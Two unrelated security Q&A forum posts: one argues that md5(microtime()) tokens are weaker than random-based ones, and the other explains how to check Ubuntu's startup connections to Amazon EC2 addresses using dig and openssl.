Your colleague generates their hash using md5(random()), you md5(microtime()). To predict one of your valid tokens the attacker needs to work out an approximate time and generate hashes using microtime() of around that time frame, more or less seconds or minutes. To attack your colleague's hash you need to test the entire key space of random(), that is significantly more expensive computationally.
Argument: "the attacker does not know how the hash is generated". Maybe, but now you are relying on obscurity to keep your method secure.
Argument: "nobody would ever bother to do this". Well, given enough intention they would.
Argument: "did you spot the str_shuffle()?". Now I have. It does somewhat increase complexity and thus effort to break, but the first thing that's written on the function page is 'this function is not cryptographically secure'.
Argument: "I have other controls around how the token is used". That is a good one, you could have relatively simple hashes for this and a short expiry time for the token as well as ensuring it is used only once.
My own argument: "Wy bother reinventing the wheel and not just use a decent randomness generator to produce good random strings for hashing?"


Why does Ubuntu make requests to these Amazon EC2 IPs at startup? Each time I bootup and login to Ubuntu 16.04, and before I launch any software/browser, I watch in Wireshark that Ubuntu has some requests to and from these IPs:

54.173.79.111
54.231.40.234

Whois suggests they are Amazon EC2.

I know Ubuntu integrates with Amazon via Dash search these days, but that feature is turned off in my settings.

Does anyone else notice activity to these addresses? Should I be concerned that these are private EC2 instances and I have spyware logging to them or similar?

Thanks

The gnome-software process contacts 54.173.79.111 for update purposes, as suggested in this forum thread. There's nothing inherently dodgy about these IPs, they both belong to the  AWS cloud.

That said, you can't guarantee that the traffic is legitimate by looking at the IPs alone. That's because they only indicate that you're contacting some service hosted  in the Amazon cloud (and apparently running on Red Hat OpenShift).

$ dig +short -x 54.173.79.111
ec2-54-173-79-111.compute-1.amazonaws.com.
$ dig +short -x 54.231.40.234
s3-1.amazonaws.com.

(There is also a maintained list of AWS IP ranges where you can look up the addresses.)

The reason why that doesn't verify anything is that 54.173.79.111 is associated with more than just one EC2 instance. For example, hospitalpadreze.org.br and subverticathegame.com also resolve to that same address:

$ dig +short hospitalpadreze.org.br
54.173.79.111
$ dig +short subverticathegame.com                                                                                130
sub-renderedturkey.rhcloud.com.
ex-std-node683.prod.rhcloud.com.
ec2-54-173-79-111.compute-1.amazonaws.com.
54.173.79.111

Verifying the CN of the SSL certificate at 54.173.79.111:443, as proposed by @thel3l, is also not a reliable technique. We don't know if you were actually connecting via SSL, over which ports and for which hostname. Here's a demonstration of how different certificates get served at the same IP:

$ openssl s_client -connect 54.173.79.111:443 -brief
CONNECTION ESTABLISHED
Protocol version: TLSv1.2
Ciphersuite: ECDHE-RSA-AES256-GCM-SHA384
Peer certificate: C = US, ST = North Carolina, L = Raleigh, O = Red Hat Inc., CN = *.rhcloud.com
Hash used: SHA512
Supported Elliptic Curve Point Formats: uncompressed:ansiX962_compressed_prime:ansiX962_compressed_char2
Server Temp Key: ECDH, P-256, 256 bits

The certificate is valid for *.rhcloud.com. Now let's try with a different hostname:

$ openssl s_client-connect 54.173.79.111:443 -servername www.cristiansandu.ro -brief
CONNECTION ESTABLISHED
Protocol version: TLSv1.2
Ciphersuite: ECDHE-RSA-AES256-GCM-SHA384
Peer certificate: CN = www.cristiansandu.ro
Hash used: SHA512
Supported Elliptic Curve Point Formats: uncompressed:ansiX962_compressed_prime:ansiX962_compressed_char2
Server Temp Key: ECDH, P-256, 256 bits

We're getting a certificate for www.cristiansandu.ro instead, although it's still the same IP. With Server Name Indication (SNI) it's expected that the presented certificate doesn't stay the same if you specify a different -servername.